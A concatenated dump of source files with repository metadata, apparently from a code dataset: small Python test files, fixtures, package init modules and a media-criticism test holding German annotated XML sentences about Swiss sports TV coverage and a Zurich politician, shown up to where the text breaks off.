|
2022-03-29T18:34:12.000Z
|
tests/test_version.py
|
JerryX1110/VFS
|
22b915318935f459c9ee2d854d741b3f01a2ce9a
|
[
"Apache-2.0"
] | 98
|
2020-01-21T09:41:30.000Z
|
2022-03-12T00:53:06.000Z
|
tests/test_version.py
|
JerryX1110/VFS
|
22b915318935f459c9ee2d854d741b3f01a2ce9a
|
[
"Apache-2.0"
] | 233
|
2020-01-18T03:46:27.000Z
|
2022-03-19T03:17:47.000Z
|
import mmaction
def test_version():
version = mmaction.__version__
assert isinstance(version, str)
assert isinstance(mmaction.short_version, str)
assert mmaction.short_version in version and '+' in version
| 24.888889
| 63
| 0.754464
| 27
| 224
| 6
| 0.407407
| 0.197531
| 0.197531
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.174107
| 224
| 8
| 64
| 28
| 0.875676
| 0
| 0
| 0
| 0
| 0
| 0.004464
| 0
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0.166667
| false
| 0
| 0.166667
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
8abfc9cbf1a70ff8db06f6f7830b0fd83258c232
| 1,224
|
py
|
Python
|
tests/conftest.py
|
Cloudzero/samwise
|
793463e0774f9d1c702f4252377f19fa3408a558
|
[
"MIT"
] | 4
|
2019-09-16T02:45:16.000Z
|
2020-08-25T13:11:55.000Z
|
tests/conftest.py
|
Cloudzero/samwise
|
793463e0774f9d1c702f4252377f19fa3408a558
|
[
"MIT"
] | null | null | null |
tests/conftest.py
|
Cloudzero/samwise
|
793463e0774f9d1c702f4252377f19fa3408a558
|
[
"MIT"
] | null | null | null |
# Copyright (c) 2019 CloudZero, Inc. All rights reserved.
# Licensed under the MIT License. See LICENSE file in the project root for full license information.
from pathlib import Path
import pytest
valid_templates = ['tests/data/samwise.yaml', 'tests/data/linked-samwise.yaml']
@pytest.fixture(params=valid_templates, scope="module")
def valid_template(request):
return request.param
@pytest.fixture(scope="module")
def missing_template():
return 'tests/data/non-existent-template-file.yaml'
@pytest.fixture(scope="module")
def invalid_template():
return 'tests/data/invalid-samwise.yaml'
@pytest.fixture(scope="module")
def non_samwise_template():
return 'tests/data/non-samwise.yaml'
@pytest.fixture(scope="module")
def linked_template():
return 'tests/data/linked-samwise.yaml'
@pytest.fixture(scope="module")
def include_template():
return 'tests/data/include-samwise.yaml'
@pytest.fixture(scope="module")
def accountid_template():
return 'tests/data/accountid-samwise.yaml'
@pytest.fixture(scope="module")
def include_data():
return Path('tests/data/MyStateMachine.json').read_text()
@pytest.fixture(scope="module")
def namespace():
return 'little-bunny-foo-foo'
| 23.09434
| 100
| 0.748366
| 162
| 1,224
| 5.580247
| 0.345679
| 0.089602
| 0.139381
| 0.212389
| 0.436947
| 0.31969
| 0.285398
| 0.099558
| 0
| 0
| 0
| 0.003683
| 0.112745
| 1,224
| 53
| 101
| 23.09434
| 0.828729
| 0.125817
| 0
| 0.266667
| 0
| 0
| 0.328652
| 0.259363
| 0
| 0
| 0
| 0
| 0
| 1
| 0.3
| false
| 0
| 0.066667
| 0.3
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
8ac28475a225c4af0febc7f8feb9a42cceedaab2
| 91
|
py
|
Python
|
duforrak/duforrak/apps.py
|
jonmsawyer/duforrak
|
1ace555b50c46b2066c0cc8f9b7d927583fbbaf7
|
[
"MIT"
] | null | null | null |
duforrak/duforrak/apps.py
|
jonmsawyer/duforrak
|
1ace555b50c46b2066c0cc8f9b7d927583fbbaf7
|
[
"MIT"
] | 1
|
2017-11-21T19:17:28.000Z
|
2017-11-21T19:17:28.000Z
|
duforrak/duforrak/apps.py
|
jonmsawyer/duforrak
|
1ace555b50c46b2066c0cc8f9b7d927583fbbaf7
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class DuforrakConfig(AppConfig):
name = 'duforrak'
| 15.166667
| 33
| 0.758242
| 10
| 91
| 6.9
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.164835
| 91
| 5
| 34
| 18.2
| 0.907895
| 0
| 0
| 0
| 0
| 0
| 0.087912
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
8ac5fea5441994879dc5722daac9975db0863434
| 558
|
py
|
Python
|
spikeinterface/extractors/tests/test_tridesclousextractors.py
|
vncntprvst/spikeinterface
|
dd5ae94f85fe5d9082b45321d2c96ba316eb4b77
|
[
"MIT"
] | null | null | null |
spikeinterface/extractors/tests/test_tridesclousextractors.py
|
vncntprvst/spikeinterface
|
dd5ae94f85fe5d9082b45321d2c96ba316eb4b77
|
[
"MIT"
] | null | null | null |
spikeinterface/extractors/tests/test_tridesclousextractors.py
|
vncntprvst/spikeinterface
|
dd5ae94f85fe5d9082b45321d2c96ba316eb4b77
|
[
"MIT"
] | null | null | null |
import shutil
from pathlib import Path
import pytest
import numpy as np
from spikeinterface.extractors import *
@pytest.mark.skip('Tridesclous can be tested after running run_tridesclous()')
def test_tridesclousextractors():
# not tested here, tested in run_tridesclous(...)
pass
# tdc_folder = '/home/samuel/Documents/SpikeInterface/spikeinterface/spikeinterface/sorters/tests/tridesclous_output/'
# sorting = TridesclousSortingExtractor(tdc_folder)
# print(sorting)
if __name__ == '__main__':
test_tridesclousextractors()
| 25.363636
| 123
| 0.765233
| 61
| 558
| 6.754098
| 0.672131
| 0.058252
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.146953
| 558
| 21
| 124
| 26.571429
| 0.865546
| 0.415771
| 0
| 0
| 0
| 0
| 0.202492
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.1
| true
| 0.1
| 0.5
| 0
| 0.6
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 4
|
76d53b781b2a21059e9ad32559f2fefec48a264a
| 92
|
py
|
Python
|
wavefront_sdk/entities/histogram/__init__.py
|
susanjlindner/wavefront-sdk-python
|
c6c55765c059b563295614f2e39430ac597de465
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
wavefront_sdk/entities/histogram/__init__.py
|
susanjlindner/wavefront-sdk-python
|
c6c55765c059b563295614f2e39430ac597de465
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
wavefront_sdk/entities/histogram/__init__.py
|
susanjlindner/wavefront-sdk-python
|
c6c55765c059b563295614f2e39430ac597de465
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
Histogram Entities.
@author Hao Song (songhao@vmware.com)
"""
| 11.5
| 37
| 0.608696
| 11
| 92
| 5.090909
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.012987
| 0.163043
| 92
| 7
| 38
| 13.142857
| 0.714286
| 0.880435
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
76fa03e866e52610f43aa7fca16f6e0abdfe9741
| 122
|
py
|
Python
|
terrascript/provider/gitlab.py
|
hugovk/python-terrascript
|
08fe185904a70246822f5cfbdc9e64e9769ec494
|
[
"BSD-2-Clause"
] | 507
|
2017-07-26T02:58:38.000Z
|
2022-01-21T12:35:13.000Z
|
terrascript/provider/gitlab.py
|
hugovk/python-terrascript
|
08fe185904a70246822f5cfbdc9e64e9769ec494
|
[
"BSD-2-Clause"
] | 135
|
2017-07-20T12:01:59.000Z
|
2021-10-04T22:25:40.000Z
|
terrascript/provider/gitlab.py
|
hugovk/python-terrascript
|
08fe185904a70246822f5cfbdc9e64e9769ec494
|
[
"BSD-2-Clause"
] | 81
|
2018-02-20T17:55:28.000Z
|
2022-01-31T07:08:40.000Z
|
# terrascript/provider/gitlab.py
import terrascript
class gitlab(terrascript.Provider):
pass
__all__ = ["gitlab"]
| 12.2
| 35
| 0.745902
| 13
| 122
| 6.692308
| 0.615385
| 0.436782
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.147541
| 122
| 9
| 36
| 13.555556
| 0.836538
| 0.245902
| 0
| 0
| 0
| 0
| 0.066667
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.25
| 0.25
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
0a23826ab446994c66818613e5de02443be291e8
| 125
|
py
|
Python
|
run_game.py
|
JTRHACKER/StuntCat
|
1c581df8971113838219dc98c35207925e6b9228
|
[
"MIT"
] | null | null | null |
run_game.py
|
JTRHACKER/StuntCat
|
1c581df8971113838219dc98c35207925e6b9228
|
[
"MIT"
] | null | null | null |
run_game.py
|
JTRHACKER/StuntCat
|
1c581df8971113838219dc98c35207925e6b9228
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
if __name__ == '__main__':
import stuntcat.cli
cli = stuntcat.cli.Cli()
cli.cli_main()
| 13.888889
| 28
| 0.632
| 17
| 125
| 4.117647
| 0.588235
| 0.342857
| 0.4
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010204
| 0.216
| 125
| 8
| 29
| 15.625
| 0.704082
| 0.168
| 0
| 0
| 0
| 0
| 0.07767
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.25
| 0
| 0.25
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0a35de3dc5f41d5d7319e01a4f86bf6913b9fe91
| 117
|
py
|
Python
|
cx_Freeze/samples/find_spec/dummypackage/dummymodule.py
|
lexa/cx_Freeze
|
f1f35d19e8e7e821733f86b4da7814c40be3bfd9
|
[
"PSF-2.0"
] | 358
|
2020-07-02T13:00:02.000Z
|
2022-03-29T10:03:57.000Z
|
cx_Freeze/samples/find_spec/dummypackage/dummymodule.py
|
lexa/cx_Freeze
|
f1f35d19e8e7e821733f86b4da7814c40be3bfd9
|
[
"PSF-2.0"
] | 372
|
2020-07-02T20:47:57.000Z
|
2022-03-31T19:35:05.000Z
|
cx_Freeze/samples/find_spec/dummypackage/dummymodule.py
|
lexa/cx_Freeze
|
f1f35d19e8e7e821733f86b4da7814c40be3bfd9
|
[
"PSF-2.0"
] | 78
|
2020-07-09T14:24:03.000Z
|
2022-03-22T19:06:52.000Z
|
print("Hi, I'm a module!")
raise Exception(
"This module-level exception should also not occur during freeze"
)
| 19.5
| 69
| 0.717949
| 18
| 117
| 4.666667
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.179487
| 117
| 5
| 70
| 23.4
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0.683761
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0.25
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0a37860e7c98b2665558c8db732afc29fc4870a2
| 1,156
|
py
|
Python
|
cupy/linalg/__init__.py
|
svlandeg/cupy
|
484e007d5bf58a0445af2f6e7aa3fdfe0fcc2363
|
[
"MIT"
] | 2
|
2020-02-17T18:47:30.000Z
|
2020-02-17T18:47:35.000Z
|
cupy/linalg/__init__.py
|
svlandeg/cupy
|
484e007d5bf58a0445af2f6e7aa3fdfe0fcc2363
|
[
"MIT"
] | 1
|
2019-08-05T09:36:13.000Z
|
2019-08-06T12:03:01.000Z
|
cupy/linalg/__init__.py
|
svlandeg/cupy
|
484e007d5bf58a0445af2f6e7aa3fdfe0fcc2363
|
[
"MIT"
] | 1
|
2022-03-24T13:19:55.000Z
|
2022-03-24T13:19:55.000Z
|
# Functions from the following NumPy document
# https://docs.scipy.org/doc/numpy/reference/routines.linalg.html
# "NOQA" to suppress flake8 warning
from cupy.linalg import decomposition # NOQA
from cupy.linalg import eigenvalue # NOQA
from cupy.linalg import einsum # NOQA
from cupy.linalg import norms # NOQA
from cupy.linalg.norms import det # NOQA
from cupy.linalg.norms import matrix_rank # NOQA
from cupy.linalg.norms import norm # NOQA
from cupy.linalg.norms import slogdet # NOQA
from cupy.linalg import product # NOQA
from cupy.linalg import solve # NOQA
from cupy.linalg.decomposition import cholesky # NOQA
from cupy.linalg.decomposition import qr # NOQA
from cupy.linalg.decomposition import svd # NOQA
from cupy.linalg.eigenvalue import eigh # NOQA
from cupy.linalg.eigenvalue import eigvalsh # NOQA
from cupy.linalg.solve import inv # NOQA
from cupy.linalg.solve import lstsq # NOQA
from cupy.linalg.solve import pinv # NOQA
from cupy.linalg.solve import solve # NOQA
from cupy.linalg.solve import tensorinv # NOQA
from cupy.linalg.solve import tensorsolve # NOQA
from cupy.linalg.product import matrix_power # NOQA
| 37.290323
| 65
| 0.783737
| 171
| 1,156
| 5.28655
| 0.25731
| 0.19469
| 0.340708
| 0.418142
| 0.662611
| 0.536504
| 0
| 0
| 0
| 0
| 0
| 0.001018
| 0.150519
| 1,156
| 30
| 66
| 38.533333
| 0.919552
| 0.217128
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
0a47d5ff48e5927de0e61ae02ab53f3aff9dde2d
| 22,243
|
py
|
Python
|
src/python/weblyzard_api/tests/client/test_mediacriticism.py
|
PhilippKuntschik/weblyzard_api
|
415df7d2c3e625e96636ad0ab91f3ba669db64ea
|
[
"Apache-2.0"
] | 9
|
2015-07-13T08:16:55.000Z
|
2020-03-17T12:06:25.000Z
|
src/python/weblyzard_api/tests/client/test_mediacriticism.py
|
PhilippKuntschik/weblyzard_api
|
415df7d2c3e625e96636ad0ab91f3ba669db64ea
|
[
"Apache-2.0"
] | 40
|
2015-03-11T22:59:51.000Z
|
2022-03-25T21:47:07.000Z
|
src/python/weblyzard_api/tests/client/test_mediacriticism.py
|
PhilippKuntschik/weblyzard_api
|
415df7d2c3e625e96636ad0ab91f3ba669db64ea
|
[
"Apache-2.0"
] | 5
|
2016-02-11T15:19:16.000Z
|
2020-02-06T09:47:24.000Z
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
'''
Created on Jan 16, 2013
@author: Philipp Kuntschik <philipp.kuntschik@htwchur.ch>
'''
from __future__ import print_function
from __future__ import unicode_literals
import unittest
from weblyzard_api.client.projects.media_criticism import MediaCriticism
class TestMediaCriticism(unittest.TestCase):
EXAMPLE_DOCUMENTS = [
{"is_relevant": True, "is_mediacriticism": True, "has_entities": True,
"doc": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><wl:page xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:wl=\"http://www.weblyzard.com/wl/2013#\" xml:lang=\"de\"><wl:sentence wl:id=\"f35ac3a7b942b86c167fd0edd8e857be\" wl:pos=\"NN NE NE NN VVINF $.\" wl:dependency=\"1 -1 3 1 1 1\" wl:token=\"1,10 12,17 18,27 28,36 40,58 58,59\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Kommentar Heiko Ostendorp Reporter Schnarch-Fernsehen!]]></wl:sentence><wl:sentence wl:id=\"bc3f8ae190d5ce2453d69c11c82455ee\" wl:pos=\"PPER VAFIN ART NN ART NN NN APPR NE $. ART NN APPR NE KON NE KON ART NN APPR NN APZR NN $.\" wl:dependency=\"1 -1 3 4 5 6 7 8 9 10 11 12 13 14 1 16 1 18 1 20 21 1 1 1\" wl:token=\"0,2 3,7 8,11 12,20 21,24 25,31 32,35 36,41 42,45 45,46 47,50 51,59 60,68 69,81 82,85 86,96 97,102 103,106 107,115 116,119 120,132 133,135 136,147 147,148\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Es sind die Aufreger des Spiels FCZ gegen FCB: Die Rangelei zwischen FCZ-Chermiti und FCB-Safari sowie die Ohrfeige von FCZ-Alphonse an FCB-Stocker.]]></wl:sentence><wl:sentence wl:id=\"439ee4f91b85d115bb6ab129ae08c594\" wl:pos=\"ADV ART NN $.\" wl:dependency=\"1 -1 3 1\" wl:token=\"0,6 7,10 11,17 17,18\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Soweit die Fakten.]]></wl:sentence><wl:sentence wl:id=\"da44288b5cbfd4c3fd8c6725e94da42a\" wl:pos=\"APPR ART NN ART NN APPR ADJD VVFIN PIS ( ADV ADV ) ADJD $.\" wl:dependency=\"1 -1 3 4 5 6 7 8 10 10 1 10 1 1 1\" wl:token=\"0,3 4,8 9,22 23,26 27,32 33,35 36,48 49,55 56,59 60,61 61,67 68,71 71,72 73,83 83,84\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Auf eine TV-Aufklärung der Fälle in sportaktuell wartet man (wieder mal) vergeblich.]]></wl:sentence><wl:sentence wl:id=\"cb5f40466bb55fbb53ef74bfd59c523c\" wl:pos=\"ADV VAFIN NE VVPP $, PRELS APPR ART NN VVFIN $, ADV VVFIN PIS ART NN APPR NE KON NN ADJD $, PWAV PPER PRF APPRART NN VVFIN $.\" wl:dependency=\"1 -1 3 4 5 6 7 8 9 10 13 10 13 14 15 16 17 18 1 20 1 1 23 24 1 26 1 1 1\" wl:token=\"0,4 5,9 10,16 17,24 24,25 26,29 30,33 34,37 38,42 43,49 49,50 51,55 56,61 62,65 66,69 70,76 77,80 81,89 90,93 94,102 103,109 109,110 111,114 115,117 118,122 123,125 126,131 132,137 137,138\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Erst wird Magnin gezeigt, der aus der Nase blutet, dann sieht man den Lupfer von Chermiti und Sekunden später, wie er sich am Boden wälzt.]]></wl:sentence><wl:sentence wl:id=\"567874c6edbf01fc61058795d0e01201\" wl:pos=\"NE NE VVFIN PRF PROAV $, KOUS PPER PIAT ADJA NN VVFIN $.\" wl:dependency=\"1 -1 3 4 5 6 7 8 9 10 1 1 1\" wl:token=\"0,4 5,14 15,27 28,32 33,38 38,39 40,44 45,47 48,53 54,61 62,68 69,73 73,74\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Beni Thurnheer entschuldigt sich dafür, dass es keine anderen Bilder gibt.]]></wl:sentence><wl:sentence wl:id=\"8d6937f17bf6b6fcf58030ace6037936\" wl:pos=\"ADV $.\" wl:dependency=\"1 -1\" wl:token=\"0,8 8,9\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Immerhin.]]></wl:sentence><wl:sentence wl:id=\"85dfaf0c72f2a237838f4852dc9cee5c\" wl:pos=\"KON PWS VAFIN APPR NN ART NN $.\" wl:dependency=\"1 -1 3 4 5 6 7 1\" wl:token=\"0,3 4,7 8,11 12,15 16,23 24,27 28,39 39,40\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Und was ist mit Stimmen der Beteiligten?]]></wl:sentence><wl:sentence wl:id=\"6bba4c9ec8eb03217ed6e2336b2057b4\" wl:pos=\"KON NE ADV NE KON NN VVFIN APPRART NN APPR NN $.\" wl:dependency=\"1 -1 1 4 1 6 7 1 9 1 1 1\" wl:token=\"0,5 6,12 13,17 18,26 27,30 31,41 42,48 49,51 52,54 55,57 58,62 62,63\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Weder Safari noch Chermiti und Laperrière kommen im SF zu Wort.]]></wl:sentence><wl:sentence wl:id=\"5f7106b2d10fe72752dec8731e4e86a0\" wl:pos=\"KON PDS VVFIN PTKNEG PROAV $, KOUS PPER PIS VVINF VMFIN $.\" wl:dependency=\"1 -1 3 4 1 1 7 8 9 1 1 1\" wl:token=\"0,3 4,7 8,11 12,17 18,23 23,24 25,29 30,33 34,40 41,46 47,54 54,55\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Und das lag nicht daran, dass sie nichts sagen wollten.]]></wl:sentence><wl:sentence wl:id=\"4734a2a4d00d6089876bcdb6398029e6\" wl:pos=\"ADV CARD NN ADV VVFIN ART NN ADJD APPR ART NN ART ADJA NN APPR ART CARD APPR NE APPR NE $.\" wl:dependency=\"1 -1 3 4 5 6 7 8 9 1 11 12 13 14 9 14 1 18 19 9 19 1\" wl:token=\"0,4 5,9 10,14 15,20 21,28 29,32 33,45 46,56 57,60 61,65 66,76 77,80 81,90 91,99 100,103 104,107 108,111 112,115 116,118 119,121 122,127 127,128\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Auch drei Tage zuvor wartete der TV-Zuschauer vergeblich auf eine Aufklärung des möglichen Offsides vor dem 2:2 von GC in Basel.]]></wl:sentence><wl:sentence wl:id=\"1ac7330e2d24b19e0f0313d2bba91eef\" wl:pos=\"ADV VAFIN ART NN PTKNEG APPR ART NN $, ART ADJA NN VVIZU $.\" wl:dependency=\"1 -1 3 4 5 6 7 1 1 10 11 1 1 1\" wl:token=\"0,6 7,10 11,14 15,17 18,23 24,26 27,30 31,35 35,36 37,40 41,55 56,62 63,74 74,75\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Wieder war das SF nicht in der Lage, die entsprechenden Bilder einzufangen.]]></wl:sentence><wl:sentence wl:id=\"2cac608146d133fb0c572466705ae3c2\" wl:pos=\"NE VVFIN PPER ADV NN $.\" wl:dependency=\"1 -1 3 1 1 1\" wl:token=\"0,5 6,11 12,15 16,26 27,35 35,36\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Wofür zahle ich eigentlich Gebühren?]]></wl:sentence><wl:sentence wl:id=\"aa68b2644fedf76229039c0541d03147\" wl:pos=\"PWS PTKNEG APPRART NN VAFIN $, VAFIN APPRART NN VVPP $.\" wl:dependency=\"1 -1 3 4 5 6 7 8 1 -1 9\" wl:token=\"0,3 4,9 10,12 13,20 21,24 24,25 26,30 31,33 34,39 40,48 48,49\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Wer nicht im Stadion ist, wird im Stich gelassen.]]></wl:sentence><wl:sentence wl:id=\"d67bc4bb97b7475d9e9e3990371e694e\" wl:pos=\"PWS NE VVFIN $, VAFIN ADJD VVFIN ART NN APPR NE ( ADV ) ADV $.\" wl:dependency=\"1 -1 3 4 1 6 7 8 9 10 11 12 13 1 12 1\" wl:token=\"0,3 4,12 13,19 19,20 21,24 25,32 33,34 35,38 39,47 48,51 52,58 59,60 60,74 74,75 76,85 85,86\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Was Chermiti machte, war unschön – die Reaktion von Safari (möglicherweise) ebenfalls.]]></wl:sentence><wl:sentence wl:id=\"8e9e7768e564176da3fbfd3bb6691dd7\" wl:pos=\"ART ADJA NN VVFIN ADV ART ADJA NN $.\" wl:dependency=\"1 -1 3 1 1 6 1 1 1\" wl:token=\"0,3 4,16 17,24 26,33 34,38 39,42 43,52 53,71 71,72\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Den eigentlichen Skandal liefert aber das Schweizer Schnarch-Fernsehen.]]></wl:sentence></wl:page>"},
{"is_relevant": False, "is_mediacriticism": False, "has_entities": True,
"doc": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><wl:page xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:wl=\"http://www.weblyzard.com/wl/2013#\" xml:lang=\"de\"><wl:sentence wl:id=\"9625f0f52b33c6abc0bfc49492882475\" wl:pos=\"NE NE APPR NN VVPP NN APPRART NN ART ADV $( KON ADJA ADJA NN NE NE VAFIN APPR NE PPOSAT NN APPR CARD ADJA NN VVPP $. APPR ART NN $, APPR ART ADJA NN $, APPR ART ADJA NN $.\" wl:dependency=\"1 -1 3 4 5 6 7 8 9 10 11 1 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 1 1 33 34 35 1 1 38 39 1 1 1\" wl:token=\"1,13 14,27 28,30 31,35 36,43 44,47 48,50 51,58 60,63 64,73 73,74 75,78 79,99 100,107 108,125 126,132 133,144 145,148 149,152 153,159 160,166 167,177 178,180 181,185 186,193 194,204 205,216 216,217 218,221 222,225 226,234 234,235 236,239 240,243 244,263 264,274 274,275 276,279 280,283 284,301 302,311 311,312\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Vollenwyders Medienschelte zu Ende gedacht NZZ am Sonntag Der leistungs- und kommunikationsstarke Zürcher Kommunalpolitiker Martin Vollenwyder hat aus Anlass seines Rücktritts in zwei grossen Interviews abgerechnet: mit dem Freisinn, mit der perfektionistischen Verwaltung, mit dem ausgabenfreudigen Parlament.]]></wl:sentence><wl:sentence wl:id=\"bc79c38a530674bd5cfa8d0c774591d4\" wl:pos=\"ADV VVFIN ADV ART NN APPR NE NE NE $. PWS ART NN PTKNEG VVPP $, VMFIN ART NN VVINF $.\" wl:dependency=\"1 -1 1 4 1 6 7 8 9 10 1 12 13 14 1 1 1 18 1 1 1\" wl:token=\"0,9 10,14 15,24 25,28 29,33 34,37 38,43 44,46 47,53 53,54 55,58 59,62 63,68 69,74 75,83 83,84 85,89 90,93 94,99 100,109 109,110\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Natürlich gilt weiterhin das Wort von Harry S. Truman: Wer die Hitze nicht verträgt, soll die Küche verlassen.]]></wl:sentence><wl:sentence wl:id=\"9a8bb993e655e116c7cc2845714c285a\" wl:pos=\"ART ADJA NN VAFIN ADV ADV ART ADJA NN KON VVFIN ADJA NN APPR NN $, NN KON NN $.\" wl:dependency=\"1 -1 3 4 5 6 1 8 9 1 11 12 13 14 6 16 17 1 1 1\" wl:token=\"0,3 4,14 15,20 21,24 25,28 29,35 36,40 41,47 48,66 67,70 71,76 77,84 85,96 97,100 101,111 111,112 113,119 120,124 125,132 132,133\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Das politische Leben hat nun einmal eine höhere Betriebstemperatur und folgt anderen Spielregeln als Wirtschaft, Kultur oder Militär.]]></wl:sentence><wl:sentence wl:id=\"30f0e69c7325601716b484b16cc48573\" wl:pos=\"PWS NN VVFIN $, VAFIN PRF APPRART NN APPR PPOSAT ADJA NN VVFIN $. PTKNEG ADV APPR PPOSAT NN $, ADV APPR NN $, NN KON ART ADJA NN $.\" wl:dependency=\"1 -1 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 21 19 22 23 24 25 1 27 1 1 1\" wl:token=\"0,3 4,11 12,20 20,21 22,25 26,30 31,33 34,43 44,47 48,54 55,61 62,76 77,89 89,90 91,96 97,100 101,104 105,111 112,123 123,124 125,129 130,133 134,149 149,150 151,158 159,162 163,166 167,179 180,190 190,191\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Wer Politik betreibt, hat sich im Wahlkampf mit seiner ganzen Persönlichkeit einzubringen: nicht nur mit seinen Fähigkeiten, auch mit Lebensumständen, Familie und der persönlichen Integrität.]]></wl:sentence><wl:sentence wl:id=\"1639950c9eb8b273d34be8d2ab6e902e\" wl:pos=\"ADJD VVFIN PPER KON PPER PROAV VVFIN $, APPR ART ADV KON APPR ART NN ADJA NN KON NN VVPP PTKZU VAINF $.\" wl:dependency=\"1 -1 3 1 5 6 1 1 9 10 11 1 13 14 15 16 17 1 19 